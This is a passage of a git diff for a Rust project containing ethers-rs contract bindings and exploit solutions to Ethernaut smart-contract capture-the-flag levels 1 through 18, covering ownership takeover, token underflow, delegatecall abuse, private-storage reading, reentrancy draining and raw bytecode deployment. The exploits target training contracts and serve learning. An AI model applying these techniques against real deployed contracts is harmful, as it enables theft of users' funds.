::ethers::contract::builders::ContractCall { + self.0 + .method_hash([166, 249, 218, 225], owner) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `owner` (0x8da5cb5b) + /// function + pub fn owner( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::Address, + > { + self.0 + .method_hash([141, 165, 203, 91], ()) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for Telephone + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `changeOwner` function with signature + /// `changeOwner(address)` and selector `0xa6f9dae1` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "changeOwner", abi = "changeOwner(address)")] + pub struct ChangeOwnerCall { + pub owner: ::ethers::core::types::Address, + } + ///Container type for all input parameters for the + /// `owner` function with signature `owner()` and + /// selector `0x8da5cb5b` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "owner", abi = "owner()")] + pub struct OwnerCall; + ///Container type for all of the contract's call + #[derive( + Clone, + ::ethers::contract::EthAbiType, + serde::Serialize, + serde::Deserialize, + Debug, + PartialEq, + Eq, + Hash, + )] + pub enum TelephoneCalls { + ChangeOwner(ChangeOwnerCall), + Owner(OwnerCall), + } + impl ::ethers::core::abi::AbiDecode for TelephoneCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result + { + let data = data.as_ref(); + if let Ok(decoded) = + ::decode( + data, + ) + { + return Ok(Self::ChangeOwner(decoded)); + } + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Owner(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for TelephoneCalls { + fn encode(self) -> Vec { + match self { + Self::ChangeOwner(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Owner(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + } + } + } + impl ::core::fmt::Display for TelephoneCalls { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + match self { + Self::ChangeOwner(element) => { + ::core::fmt::Display::fmt(element, f) + } + Self::Owner(element) => ::core::fmt::Display::fmt(element, f), + } + } + } + impl ::core::convert::From for TelephoneCalls { + fn from(value: ChangeOwnerCall) -> Self { Self::ChangeOwner(value) } + } + impl ::core::convert::From for TelephoneCalls { + fn from(value: OwnerCall) -> Self { Self::Owner(value) } + } + ///Container type for all return fields from the + /// `owner` function with signature `owner()` and + /// selector `0x8da5cb5b` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct OwnerReturn(pub ::ethers::core::types::Address); +} diff --git a/attack/src/abi/telephone_exploit.rs b/attack/src/abi/telephone_exploit.rs new file mode 100644 index 0000000..c8f2a19 --- /dev/null +++ b/attack/src/abi/telephone_exploit.rs @@ -0,0 +1,139 @@ +pub use telephone_exploit::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod telephone_exploit { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::Some( + ::ethers::core::abi::ethabi::Constructor { + inputs: ::std::vec![::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_telephone"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + },], + }, + ), + functions: ::std::collections::BTreeMap::new(), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static TELEPHONEEXPLOIT_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x01\xA48\x03\x80a\x01\xA4\x839\x81\x01`@\x81\x90Ra\0/\x91a\x01'V[`@Qc\xA6\xF9\xDA\xE1`\xE0\x1B\x81Rs\xA0\xEEz\x14-&|\x1F6qNJ\x8Fua/ \xA7\x97 `\x04\x82\x01\x81\x90R\x82\x91`\x01`\x01`\xA0\x1B\x03\x83\x16\x90c\xA6\xF9\xDA\xE1\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\0\x88W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\0\x9CW=`\0\x80>=`\0\xFD[PPPP\x80`\x01`\x01`\xA0\x1B\x03\x16\x82`\x01`\x01`\xA0\x1B\x03\x16c\x8D\xA5\xCB[`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\0\xE8W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\x0C\x91\x90a\x01'V[`\x01`\x01`\xA0\x1B\x03\x16\x14a\x01\x1FW`\0\x80\xFD[PPPa\x01WV[`\0` \x82\x84\x03\x12\x15a\x019W`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x01PW`\0\x80\xFD[\x93\x92PPPV[`?\x80a\x01e`\09`\0\xF3\xFE`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 Z\xFF#\x12\x81\xB5DBaWf\xBD\xC7\xBA\xB5\xB8+S\xB9'u\xE3\x1E\xC7-\xBBg\xDB\x87\x15OrdsolcC\0\x08\x19\x003"; + /// The bytecode of the contract. + pub static TELEPHONEEXPLOIT_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__BYTECODE); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 Z\xFF#\x12\x81\xB5DBaWf\xBD\xC7\xBA\xB5\xB8+S\xB9'u\xE3\x1E\xC7-\xBBg\xDB\x87\x15OrdsolcC\0\x08\x19\x003"; + /// The deployed bytecode of the contract. + pub static TELEPHONEEXPLOIT_DEPLOYED_BYTECODE: + ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); + pub struct TelephoneExploit(::ethers::contract::Contract); + impl ::core::clone::Clone for TelephoneExploit { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for TelephoneExploit { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for TelephoneExploit { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for TelephoneExploit { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(TelephoneExploit)) + .field(&self.address()) + .finish() + } + } + impl TelephoneExploit { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + TELEPHONEEXPLOIT_ABI.clone(), + client, + )) + } + /// Constructs the general purpose `Deployer` + /// instance based on the provided constructor + /// arguments and sends it. Returns a new + /// instance of a deployer that returns an instance + /// of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you + /// should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 + /// block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and + /// deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` + /// object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + TELEPHONEEXPLOIT_ABI.clone(), + TELEPHONEEXPLOIT_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + } + impl + From<::ethers::contract::Contract> for TelephoneExploit + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } +} diff --git a/attack/src/ethernaut/hack01_fallback.rs b/attack/src/ethernaut/hack01_fallback.rs index 75cd140..38911d9 100644 --- a/attack/src/ethernaut/hack01_fallback.rs +++ b/attack/src/ethernaut/hack01_fallback.rs @@ -8,28 +8,25 @@ pub(crate) struct Exploit; impl ctf::Exploit for Exploit { type Target = Target; + /** + * @title Ethernaut Level 1: Fallback + * + * Look carefully at the contract's code below. + * + * You will beat this target if + * 1. you claim ownership of the contract + * 2. you reduce its balance to 0 + * + * Things that might help: + * - How to send ether when interacting with an ABI + * - How to send ether outside of the ABI + * - Fallback methods + */ async fn attack( self, target: &Self::Target, offender: &ctf::Actor, ) -> eyre::Result<()> { - let contract = Fallback::new(target.address, offender.clone()); - - println!("Calling contribute()..."); - contract.contribute().value(1).send().await?.await?; - - println!("Calling receive()..."); - offender - .send_transaction( - TransactionRequest::new().to(contract.address()).value(1), - None, - ) - .await? - .await?; - - println!("Calling withdraw()..."); - contract.withdraw().send().await?.await?; - Ok(()) } } diff --git a/attack/src/ethernaut/hack02_fallout.rs b/attack/src/ethernaut/hack02_fallout.rs new file mode 100644 index 0000000..55015fe --- /dev/null +++ b/attack/src/ethernaut/hack02_fallout.rs @@ -0,0 +1,27 @@ +use async_trait::async_trait; +use ctf::ethernaut::lvl02_fallout::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 2: Fallout + * + * Claim ownership of the contract below to complete + * this level. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let contract = Fallout::new(target.address, offender.clone()); + + contract.fal_1out().send().await?.await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack03_coin_flip.rs b/attack/src/ethernaut/hack03_coin_flip.rs new file mode 100644 index 0000000..cfbbc77 --- /dev/null +++ b/attack/src/ethernaut/hack03_coin_flip.rs @@ -0,0 +1,40 @@ +use crate::abi::coin_flip_exploit::CoinFlipExploit; +use async_trait::async_trait; +use ctf::ethernaut::lvl03_coin_flip::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 3: CoinFlip + * + * This is a coin flipping game where you need to + * build up your winning streak by guessing the + * outcome of a coin flip. To complete this target + * you'll need to use your psychic abilities to + * guess the correct outcome 10 times in a row. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + println!("Deploying the exploit contract..."); + let exploit = + CoinFlipExploit::deploy(offender.to_owned(), target.address)? + .send() + .await?; + + let coin_flip = CoinFlip::new(target.address, offender.to_owned()); + + while coin_flip.consecutive_wins().await? < 10.into() { + println!("Flipping dat coin boiiiiiiiii"); + exploit.flip().send().await?.await?; + } + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack04_telephone.rs b/attack/src/ethernaut/hack04_telephone.rs new file mode 100644 index 0000000..175c5be --- /dev/null +++ b/attack/src/ethernaut/hack04_telephone.rs @@ -0,0 +1,37 @@ +use crate::abi::telephone_exploit::TelephoneExploit; +use async_trait::async_trait; +use ctf::ethernaut::lvl04_telephone::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 4: Telephone + * + * The goal of this level is for you to claim + * ownership of the instance you are given. + * + * Things that might help + * - Look into Solidity's documentation on the + * delegatecall low level function, how it works, + * how it can be used to delegate operations to + * on-chain libraries, and what implications it + * has on execution scope. + * - Fallback methods + * - Method ids + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + TelephoneExploit::deploy(offender.to_owned(), target.address)? + .send() + .await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack05_token.rs b/attack/src/ethernaut/hack05_token.rs new file mode 100644 index 0000000..403313c --- /dev/null +++ b/attack/src/ethernaut/hack05_token.rs @@ -0,0 +1,44 @@ +use async_trait::async_trait; +use ctf::ethernaut::lvl05_token::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 5: Token + * + * The goal of this level is for you to hack the + * basic token contract below. + * + * You are given 20 tokens to start with and you + * will beat the level if you somehow manage to + * get your hands on any additional tokens. + * Preferably a very large amount of tokens. + * + * Things that might help: + * - What is an odometer? + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let contract = Token::new(target.address, offender.clone()); + + contract + .transfer( + "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266" + .parse::
()?, + 21.into(), + ) + .send() + .await? + .await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack06_delegate.rs b/attack/src/ethernaut/hack06_delegate.rs new file mode 100644 index 0000000..5c521cb --- /dev/null +++ b/attack/src/ethernaut/hack06_delegate.rs @@ -0,0 +1,40 @@ +use async_trait::async_trait; +use ctf::ethernaut::lvl06_delegate::*; +use ethers::{prelude::*, providers::Middleware, utils::keccak256}; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 6: Delegation + * + * The goal of this level is for you to claim + * ownership of the instance you are given. + * + * Things that might help + * - Look into Solidity's documentation on the + * delegatecall low level function, how it works, + * how it can be used to delegate operations to + * on-chain libraries, and what implications it + * has on execution scope. + * - Fallback methods + * - Method ids + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let tx = TransactionRequest::new() + .to(target.delegation_address) + .gas(U256::from(10_000_000)) + .data(keccak256("pwn()").into_iter().take(4).collect::>()); + + offender.send_transaction(tx, None).await?.await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack07_force.rs b/attack/src/ethernaut/hack07_force.rs new file mode 100644 index 0000000..9baaa93 --- /dev/null +++ b/attack/src/ethernaut/hack07_force.rs @@ -0,0 +1,39 @@ +use crate::abi::force_exploit::ForceExploit; +use async_trait::async_trait; +use ctf::ethernaut::lvl07_force::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 7: Force + * + * Some contracts will simply not take your money + * ¯\_(ツ)_/¯ + * + * The goal of this level is to make the balance of + * the contract greater than zero. + * + * Things that might help: + * - Fallback methods + * - Sometimes the best way to attack a contract is + * with another contract. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let exploit = ForceExploit::deploy(offender.clone(), ())? + .value(U256::from(1)) + .send() + .await?; + exploit.hack(target.address).send().await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack08_vault.rs b/attack/src/ethernaut/hack08_vault.rs new file mode 100644 index 0000000..d50dd11 --- /dev/null +++ b/attack/src/ethernaut/hack08_vault.rs @@ -0,0 +1,28 @@ +use async_trait::async_trait; +use ctf::ethernaut::lvl08_vault::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 8: Vault + * + * Unlock the vault to pass the level! + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let contract = Vault::new(target.address, offender.to_owned()); + let slot = offender + .get_storage_at(contract.address(), H256::from_low_u64_be(1), None) + .await?; + contract.unlock(slot.0).send().await?.await?; + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack09_king.rs b/attack/src/ethernaut/hack09_king.rs new file mode 100644 index 0000000..2be9689 --- /dev/null +++ b/attack/src/ethernaut/hack09_king.rs @@ -0,0 +1,43 @@ +use crate::abi::king_exploit::KingExploit; +use async_trait::async_trait; +use ctf::ethernaut::lvl09_king::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 9: King + * + * The contract below represents a very simple game: + * whoever sends it an amount of ether that is + * larger than the current prize becomes the new + * king. On such an event, the overthrown king + * gets paid the new prize, making a bit of + * ether in the process! As ponzi as it gets xD + * + * Such a fun game. Your goal is to break it. + * When you submit the instance back to the level, + * the level is going to reclaim kingship. + * You will beat the level if you can avoid such a + * self proclamation. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let king = King::new(target.address, offender.to_owned()); + let exploit = KingExploit::deploy(offender.to_owned(), king.address())? + .value(king.prize().await?) + .send() + .await?; + + exploit.become_king().send().await?.await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack10_reentrancy.rs b/attack/src/ethernaut/hack10_reentrancy.rs new file mode 100644 index 0000000..a7ae62f --- /dev/null +++ b/attack/src/ethernaut/hack10_reentrancy.rs @@ -0,0 +1,43 @@ +use crate::abi::donatexploit::Donatexploit; +use async_trait::async_trait; +use ctf::ethernaut::lvl10_reentrancy::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 10: Re-entrancy + * + * The goal of this level is for you to steal all + * the funds from the contract. + * + * Things that might help: + * - Untrusted contracts can execute code where you + * least expect it. + * - Fallback methods + * - Throw/revert bubbling + * - Sometimes the best way to attack a contract is + * with another contract. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let target = Reentrance::new(target.address, offender.to_owned()); + + let value = offender.get_balance(target.address(), None).await? / 2; + + let exploit = + Donatexploit::deploy(offender.to_owned(), target.address())? + .send() + .await?; + exploit.attack().value(value).send().await?.await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack11_elevator.rs b/attack/src/ethernaut/hack11_elevator.rs new file mode 100644 index 0000000..ad364e0 --- /dev/null +++ b/attack/src/ethernaut/hack11_elevator.rs @@ -0,0 +1,34 @@ +use crate::abi::elevator_exploit::ElevatorExploit; +use async_trait::async_trait; +use ctf::ethernaut::lvl11_elevator::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 11: Elevator + * + * This elevator won't let you reach the top of your + * building. Right? + * + * Things that might help: + * Sometimes solidity is not good at keeping + * promises. This Elevator expects to be used + * from a Building. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let exploit = + ElevatorExploit::deploy(offender.to_owned(), ())?.send().await?; + + exploit.attack(target.address).send().await?.await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack12_privacy.rs b/attack/src/ethernaut/hack12_privacy.rs new file mode 100644 index 0000000..f3c46f5 --- /dev/null +++ b/attack/src/ethernaut/hack12_privacy.rs @@ -0,0 +1,49 @@ +use async_trait::async_trait; +use ctf::ethernaut::lvl12_privacy::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 12: Privacy + * + * The creator of this contract was careful enough + * to protect the sensitive areas of its storage. + * + * Unlock this contract to beat the level. + * + * Things that might help: + * Understanding how storage works + * Understanding how parameter parsing works + * Understanding how casting works + * + * Tips: + * Remember that metamask is just a commodity. Use + * another tool if it is presenting problems. + * Advanced gameplay could involve using remix, or + * your own web3 provider. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let five = H256::from_low_u64_be(5); + println!("{five:?}"); + let slot = offender.get_storage_at(target.address, five, None).await?; + let mut key = [0; 16]; + key.copy_from_slice(&slot.0[0..16]); + + Privacy::new(target.address, offender.to_owned()) + .unlock(key) + .send() + .await? + .await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack13_gatekeeper_one.rs b/attack/src/ethernaut/hack13_gatekeeper_one.rs new file mode 100644 index 0000000..f7bffff --- /dev/null +++ b/attack/src/ethernaut/hack13_gatekeeper_one.rs @@ -0,0 +1,37 @@ +use crate::abi::gatexploit::Gatexploit; +use async_trait::async_trait; +use ctf::ethernaut::lvl13_gatekeeper_one::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 13: Gatekeeper One + * + * Make it past the gatekeeper and register as + * an entrant to pass this level. + * + * Things that might help: + * Remember what you've learned from the Telephone + * and Token levels. You can learn more about + * the special function `gasleft()`, + * in Solidity's documentation + * see [here](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html) + * and [here](https://docs.soliditylang.org/en/v0.8.3/control-structures.html#external-function-calls) + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let gatexploit = + Gatexploit::deploy(offender.to_owned(), ())?.send().await?; + + gatexploit.attack(target.address).gas(1_000_000).send().await?.await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack14_gatekeeper_two.rs b/attack/src/ethernaut/hack14_gatekeeper_two.rs new file mode 100644 index 0000000..ffdfab4 --- /dev/null +++ b/attack/src/ethernaut/hack14_gatekeeper_two.rs @@ -0,0 +1,50 @@ +use crate::abi::gatexploit_two::GatexploitTwo; +use async_trait::async_trait; +use ctf::ethernaut::lvl14_gatekeeper_two::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 14: Gatekeeper Two + * + * This gatekeeper introduces a few new challenges. + * Register as an entrant to pass this level. + * + * Remember what you've learned from getting past + * the first gatekeeper + * - the first gate is the same. + * The `assembly` keyword in the second gate allows + * a contract to access functionality that is + * not native to vanilla Solidity. See [here](http://solidity.readthedocs.io/en/v0.4.23/assembly.html) + * for more information. + * + * The `extcodesize` call in this gate will get the + * size of a contract's code at a given address + * * - you can learn more about how and when this + * is set in section 7 of the + * [yellow paper](https://ethereum.github.io/yellowpaper/paper.pdf). + * + * The `^` character in the third gate is a bitwise + * operation (XOR), and is used here to apply + * another common bitwise operation (see [here](http://solidity.readthedocs.io/en/v0.4.23/miscellaneous.html#cheatsheet)). + * + * The Coin Flip level is also a good place to start + * when approaching this challenge. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + GatexploitTwo::deploy(offender.to_owned(), target.address)? + .send() + .await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack15_naught_coin.rs b/attack/src/ethernaut/hack15_naught_coin.rs new file mode 100644 index 0000000..d0b62e9 --- /dev/null +++ b/attack/src/ethernaut/hack15_naught_coin.rs @@ -0,0 +1,46 @@ +use async_trait::async_trait; +use ctf::ethernaut::lvl15_naught_coin::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 15: Gatekeeper Two + * + * NaughtCoin is an ERC20 token and you're already + * holding all of them. The catch is that you'll + * only be able to transfer them after a 10 year + * lockout period. Can you figure out how to get + * them out to another address so that you can + * transfer them freely? Complete this level by + * getting your token balance to 0. + * + * Things that might help + * - The [ERC20](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md) + * Spec + * - The [OpenZeppelin](https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts) + * codebase + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let coin = NaughtCoin::new(target.address, offender.to_owned()); + + let balance = coin.balance_of(offender.address()).await?; + + coin.approve(offender.address(), balance).send().await?.await?; + + coin.transfer_from(offender.address(), coin.address(), balance) + .send() + .await? + .await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack16_preservation.rs b/attack/src/ethernaut/hack16_preservation.rs new file mode 100644 index 0000000..5f47da4 --- /dev/null +++ b/attack/src/ethernaut/hack16_preservation.rs @@ -0,0 +1,89 @@ +use crate::abi::preservation_exploit::PreservationExploit; +use async_trait::async_trait; +use ctf::ethernaut::lvl16_preservation::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 16: Preservation + * + * This contract utilizes a library to store two + * different times for two different timezones. + * The constructor creates two instances + * of the library for each time to be stored. + * + * The goal of this level is for you to claim + * ownership of the instance you are given. + * + * Things that might help + * - Look into Solidity's documentation on the + * `delegatecall` low level function, how it + * works, how it can be used to delegate + * operations to on-chain. Libraries, and what + * implications it has on execution scope. + * - Understanding what it means for `delegatecall` + * to be context-preserving. + * - Understanding how storage variables are stored + * and accessed. + * - Understanding how casting works between + * different data types. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let target = Preservation::new(target.address, offender.to_owned()); + println!( + "owner = {}\ntimeZone1Library = {}\ntimeZone2Library = {}", + ethers::utils::to_checksum(&target.owner().await?, None), + ethers::utils::to_checksum( + &target.time_zone_1_library().await?, + None + ), + ethers::utils::to_checksum( + &target.time_zone_2_library().await?, + None + ) + ); + println!("Deploying the exploit..."); + PreservationExploit::deploy(offender.to_owned(), target.address())? + .gas(250_000) + .send() + .await?; + println!("Deployed the exploit!"); + println!( + "owner = {}\ntimeZone1Library = {}\ntimeZone2Library = {}", + ethers::utils::to_checksum(&target.owner().await?, None), + ethers::utils::to_checksum( + &target.time_zone_1_library().await?, + None + ), + ethers::utils::to_checksum( + &target.time_zone_2_library().await?, + None + ) + ); + println!("Launching the attack..."); + target.set_first_time(0.into()).gas(100_000).send().await?.await?; + println!( + "owner = {}\ntimeZone1Library = {}\ntimeZone2Library = {}", + ethers::utils::to_checksum(&target.owner().await?, None), + ethers::utils::to_checksum( + &target.time_zone_1_library().await?, + None + ), + ethers::utils::to_checksum( + &target.time_zone_2_library().await?, + None + ) + ); + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack17_recovery.rs b/attack/src/ethernaut/hack17_recovery.rs new file mode 100644 index 0000000..4d70631 --- /dev/null +++ b/attack/src/ethernaut/hack17_recovery.rs @@ -0,0 +1,39 @@ +use async_trait::async_trait; +use ctf::{abi::simple_token::SimpleToken, ethernaut::lvl17_recovery::*}; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 17: Recovery + * + * A contract creator has built a very simple token + * factory contract. Anyone can create new + * tokens with ease. After deploying the first + * token contract, the creator sent `0.001` ether to + * obtain more tokens. They have since lost the + * contract address. + * + * This level will be completed if you can recover + * (or remove) the `0.001` ether from the lost + * contract address. + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + let derived_address = + ethers::utils::get_contract_address(target.address, 1); + + let token = SimpleToken::new(derived_address, offender.to_owned()); + + token.destroy(offender.address()).send().await?.await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/hack18_magic_number.rs b/attack/src/ethernaut/hack18_magic_number.rs new file mode 100644 index 0000000..5df71c2 --- /dev/null +++ b/attack/src/ethernaut/hack18_magic_number.rs @@ -0,0 +1,96 @@ +use async_trait::async_trait; +use ctf::ethernaut::lvl18_magic_number::*; +use ethers::prelude::*; + +pub(crate) struct Exploit; + +#[async_trait] +impl ctf::Exploit for Exploit { + type Target = Target; + + /** + * @title Ethernaut Level 18: Magic Number + * + * To solve this level, you only need to provide the + * Ethernaut with a `Solver`, a contract that + * responds to `whatIsTheMeaningOfLife()` with the + * right number. + * + * Easy right? + * Well... there's a catch. + * The solver's code needs to be really tiny. Really + * reaaaaaallly tiny. Like freakin' really + * really itty-bitty tiny: 10 opcodes at most. + * + * Hint: Perhaps its time to leave the comfort of + * the Solidity compiler momentarily, and build this + * one by hand O_o. + * + * That's right: Raw EVM bytecode. + * Good luck! + */ + async fn attack( + self, + target: &Self::Target, + offender: &ctf::Actor, + ) -> eyre::Result<()> { + println!("\n\nDeploying the contract..."); + let tx = offender + .send_transaction( + TransactionRequest::new().from(offender.address()).data(vec![ + //////////////////////////// + ////// DEPLOYMENT ////// + //////////////////////////// + 0x60, 0x80, // PUSH1 0x80 + 0x60, 0x40, // PUSH1 0x40 + 0x52, // MSTORE + 0x34, // CALLVALUE + 0x80, // DUP1 + 0x15, // ISZERO + 0x60, 